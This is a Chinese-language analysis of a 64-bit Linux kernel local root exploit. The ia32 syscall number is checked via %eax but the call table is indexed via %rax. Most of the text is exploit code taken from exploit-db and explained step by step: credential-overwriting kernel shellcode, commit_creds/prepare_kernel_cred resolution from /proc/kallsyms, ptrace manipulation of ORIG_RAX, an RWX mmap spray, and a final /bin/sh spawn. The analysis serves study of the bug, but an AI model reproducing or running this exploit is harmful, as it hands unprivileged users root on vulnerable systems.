Vulnerability Analysis

当在64位的内核上使用32位系统调用,内核里只是使用%eax传递系统调用号码,%eax只是使用了%rax的低32位,高32位未使用或未做零扩展,比较的时候使用%eax导致高32位被忽略。

下面这段代码为校验系统调用号码,但是这里使用%eax进行校验,

        cmpl $(IA32_NR_syscalls-1),%eax
        ja ia32_badsys

但实际上它是通过%rax进行索引系统调用表,执行系统调用(ia32_sys_call_table + %rax * 8)

ia32_do_call:
        IA32_ARG_FIXUP
        call *ia32_sys_call_table(,%rax,8)

%rax等于0x0000000800000101%eax则为0x00000101,就会跳转到%rax的地址上,而这个地址上是我们精心构造的后门代码,那就呵呵了。

Exploit Analysis

可以在exploit-db上获取到该漏洞的exploit。 先简单的介绍一下Linux Kernel中的ShellCode。 在Linux 2.6.29之前的版本uideidsuid等信息都放在task_struct结构中,Root Shellcode如下:

static void kernelmodecode(void)
{
        int i;
        uint8_t *gs;
        uint32_t *ptr;
        /* 
         * 在内核空间, gs寄存器保存了当前任务的task_struct, 
	     * task_struct记录了进程和线程的所有信息, 包括用户id 
	     */
        asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));
 
        for (i = 200; i < 1000; i+=1) {
                ptr = (uint32_t*) (gs + i);
                if ((ptr[0] == uid) && (ptr[1] == euid)
                        && (ptr[2] == suid) && (ptr[3] == uid)) {
                        ptr[0] = 0; //UID
                        ptr[1] = 0; //EUID
                        ptr[2] = 0; //SUID
                        break;
                }
        }
}

如今这些信息都放在了struct cred中,可以简单的使用commit_creds/prepare_kernel_cred进行提权。

// 原始代码
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

// 伪造代码
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

// Root ShellCode
int kernelmodecode(void *file, void *vma)
{
        commit_creds(prepare_kernel_cred(0));
        return -1;
}

OK。若想调用commit_credsprepare_kernel_cred得先知道它们的地址。 可通过读取并解析内核符号表/proc/kallsyms来获取commit_credsprepare_kernel_cred的地址,代码如下:

unsigned long get_symbol(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	int ret = 0, oldstyle = 0;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			return 0;
		oldstyle = 1;
	}

	while (ret != EOF) {
		if (!oldstyle) {
			ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
		} else {
			ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
					continue;
				}
				p = strrchr(sname, '_');
				if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_') {
						p--;
					}
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			printf("resolved symbol %s to %p\n", name, (void *) addr);
			fclose(f);
			return addr;
		}
	}
	fclose(f);

	return 0;
}

main函数中通过fork创建一个子进程,子进程通过execl传递3个参数再次执行程序,成功调用到docalldocall第一个参数kern_s + off溢出到用户空间,所以docallmmap才能映射成功,第二个参数给出内存中存储shellcode的大小。

int main(int argc, char **argv)
{
        int pid, status, set = 0;
        uint64_t rax;
	    /* 内核空间起始地址 */
        uint64_t kern_s = 0xffffffff80000000;
        uint64_t kern_e = 0xffffffff84000000;
	    /* syscall偏移地址,执行kernelmodecode */
        uint64_t off = 0x0000000800000101 * 8;
 
        if (argc == 4) {
                docall((uint64_t*)(kern_s + off), kern_e - kern_s);
                exit(0);
        }
        if ((pid = fork()) == 0) {
                ptrace(PTRACE_TRACEME, 0, 0, 0);
                execl(argv[0], argv[0], "2", "3", "4", NULL);
                perror("exec fault");
                exit(1);
        }
 
        if (pid == -1) {
                printf("fork fault\n");
                exit(1);
        }

父进程使用ptrace获取%rax的值,当docall执行到init 0x80%rax等于0x000000000101,再调用ptrace修改%rax的值为0x0000000800000101

        /* 父进程 */
        for (;;) {
                if (wait(&status) != pid)
                        continue;
 
                if (WIFEXITED(status)) {
                        printf("Process finished\n");
                        break;
                }
 
                /* 如果子进程调用系统调用, 会暂停执行, 
	               并通知父进程, 如果不是系统调用, 跳过 */
                if (!WIFSTOPPED(status))
                        continue;
 
                if (WSTOPSIG(status) != SIGTRAP) {
                        printf("Process received signal: %d\n", WSTOPSIG(status));
                        break;
                }
 
		        /* 获取系统调用RAX中的值 */
                rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
	        	/* docall执行ASM处系统调用 */
                if (rax == 0x000000000101) {
                        /* 修改RAX地址*/
                        if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
                                printf("PTRACE_POKEUSER fault\n");
                                exit(1);
                        }
                        set = 1;
                	//rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                }
 
                if ((rax == 11) && set) {
                        ptrace(PTRACE_DETACH, pid, 0, 0);
                        for(;;)
                                sleep(10000);
                }
 
                if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                        printf("PTRACE_SYSCALL fault\n");
                        exit(1);
                }
        }
 
        return 0;
}

在函数docall中,它通过mmap映射一段可读、可写、可执行的内存来存放shellcode(kern_s + off, 0x4000000).

static void docall(uint64_t *ptr, uint64_t size)
{
[...]
        // 强制指定地址的mmap必须以4K为起始地址边界
        uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

        printf("mapping at %lx\n", tmp);

        if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap fault\n");
                exit(1);
        }

并将shellcode在这一大块内存填充满。估计是为保证exploit的稳定性,才使用这么大一块内存。

        for (; (uint64_t) ptr < (tmp + size); ptr++)
                *ptr = (uint64_t)kernelmodecode;
[...]
}

最后用ASM模拟32位系统调用。当子进程进入内核(int 0x80),父进程使用ptrace调试子进程,将%rax的值修改为0x0000000800000101,内核中执行到call *ia32_sys_call_table(,%rax,8),使地址跳转到tmp,并执行shelllcode。

static void docall(uint64_t *ptr, uint64_t size)
{
[...]
        __asm__("\n"
        "\tmovq $0x101, %rax\n"
        "\tint $0x80\n");

        printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
        execl("/bin/sh", "bin/sh", NULL);
        printf("no /bin/sh ??\n");
        exit(0);
}

Reference